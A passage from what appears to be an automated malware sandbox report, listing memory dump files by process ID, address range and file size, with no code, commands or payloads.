                                        • memory/3260-167-0x0000000000000000-mapping.dmp
                                        • memory/3260-191-0x0000000004100000-0x0000000004156000-memory.dmp
                                          Filesize

                                          344KB

                                        • memory/3260-184-0x0000000004010000-0x000000000404A000-memory.dmp
                                          Filesize

                                          232KB

                                        • memory/3300-146-0x0000000000000000-mapping.dmp
                                        • memory/3300-158-0x0000000003070000-0x000000000320C000-memory.dmp
                                          Filesize

                                          1.6MB

                                        • memory/3412-292-0x0000000000000000-mapping.dmp
                                        • memory/3576-163-0x0000000000000000-mapping.dmp
                                        • memory/3744-159-0x0000000000000000-mapping.dmp
                                        • memory/3844-141-0x0000000000D80000-0x0000000000D8D000-memory.dmp
                                          Filesize

                                          52KB

                                        • memory/3844-138-0x0000000000000000-mapping.dmp
                                        • memory/3908-127-0x0000000000000000-mapping.dmp
                                        • memory/3908-301-0x0000000000000000-mapping.dmp
                                        • memory/3940-357-0x0000000000000000-mapping.dmp
                                        • memory/3944-162-0x0000000000000000-mapping.dmp
                                        • memory/4108-175-0x00000000007D0000-0x00000000007DD000-memory.dmp
                                          Filesize

                                          52KB

                                        • memory/4108-172-0x0000000000000000-mapping.dmp
                                        • memory/4108-283-0x0000000003450000-0x0000000003497000-memory.dmp
                                          Filesize

                                          284KB

                                        • memory/4268-308-0x00000204EAB00000-0x00000204EAC05000-memory.dmp
                                          Filesize

                                          1.0MB

                                        • memory/4268-189-0x00000204E8490000-0x00000204E84F7000-memory.dmp
                                          Filesize

                                          412KB

                                        • memory/4268-180-0x00007FF774F54060-mapping.dmp
                                        • memory/4412-188-0x0000000000000000-mapping.dmp
                                        • memory/4456-327-0x0000000000000000-mapping.dmp
                                        • memory/4456-332-0x0000000004A80000-0x0000000004A81000-memory.dmp
                                          Filesize

                                          4KB

                                        • memory/4560-299-0x0000000000000000-mapping.dmp
                                        • memory/4576-270-0x0000000000000000-mapping.dmp
                                        • memory/4644-247-0x0000000003E00000-0x0000000003F4A000-memory.dmp
                                          Filesize

                                          1.3MB

                                        • memory/4644-250-0x0000000000400000-0x0000000003DF6000-memory.dmp
                                          Filesize

                                          58.0MB

                                        • memory/4644-210-0x0000000000000000-mapping.dmp
                                        • memory/4652-271-0x0000000000000000-mapping.dmp
                                        • memory/4652-281-0x0000000003DD0000-0x0000000003F1A000-memory.dmp
                                          Filesize

                                          1.3MB

                                        • memory/4712-258-0x0000000010000000-0x000000001019E000-memory.dmp
                                          Filesize

                                          1.6MB

                                        • memory/4712-217-0x0000000000000000-mapping.dmp
                                        • memory/4712-302-0x00000000045C0000-0x000000000464B000-memory.dmp
                                          Filesize

                                          556KB

                                        • memory/4712-300-0x0000000004520000-0x00000000045BE000-memory.dmp
                                          Filesize

                                          632KB

                                        • memory/4712-265-0x0000000000E90000-0x0000000000FE7000-memory.dmp
                                          Filesize

                                          1.3MB

                                        • memory/4732-219-0x0000000000000000-mapping.dmp
                                        • memory/4732-333-0x0000000004EE0000-0x0000000004EE1000-memory.dmp
                                          Filesize

                                          4KB

                                        • memory/4732-329-0x0000000000000000-mapping.dmp
                                        • memory/4744-356-0x0000000000000000-mapping.dmp
                                        • memory/4756-274-0x0000000000000000-mapping.dmp
                                        • memory/4780-309-0x0000000000000000-mapping.dmp
                                        • memory/4836-310-0x0000000000000000-mapping.dmp
                                        • memory/4852-231-0x0000000000400000-0x0000000000459000-memory.dmp
                                          Filesize

                                          356KB

                                        • memory/4852-233-0x00000000004017B1-mapping.dmp
                                        • memory/4852-241-0x0000000000D80000-0x0000000000DC8000-memory.dmp
                                          Filesize

                                          288KB

                                        • memory/4852-261-0x0000000000400000-0x0000000000459000-memory.dmp
                                          Filesize

                                          356KB

                                        • memory/4868-282-0x0000000000400000-0x0000000000447000-memory.dmp
                                          Filesize

                                          284KB

                                        • memory/4868-277-0x0000000000400000-0x0000000000447000-memory.dmp
                                          Filesize

                                          284KB

                                        • memory/4868-278-0x0000000000401480-mapping.dmp
                                        • memory/4896-303-0x0000000140000000-0x0000000140383000-memory.dmp
                                          Filesize

                                          3.5MB

                                        • memory/4896-293-0x0000000140000000-0x0000000140383000-memory.dmp
                                          Filesize

                                          3.5MB

                                        • memory/4896-294-0x00000001401FBC30-mapping.dmp
                                        • memory/4908-238-0x0000000000401480-mapping.dmp
                                        • memory/4908-236-0x0000000000400000-0x0000000000448000-memory.dmp
                                          Filesize

                                          288KB

                                        • memory/4920-235-0x0000000000000000-mapping.dmp
                                        • memory/4956-326-0x0000000000000000-mapping.dmp
                                        • memory/4956-328-0x000000001B0D0000-0x000000001B0D2000-memory.dmp
                                          Filesize

                                          8KB

                                        • memory/4964-284-0x0000000000000000-mapping.dmp
                                        • memory/4984-286-0x0000000000000000-mapping.dmp
                                        • memory/5040-331-0x0000000000000000-mapping.dmp
                                        • memory/5040-334-0x0000000004C70000-0x000000000516E000-memory.dmp
                                          Filesize

                                          5.0MB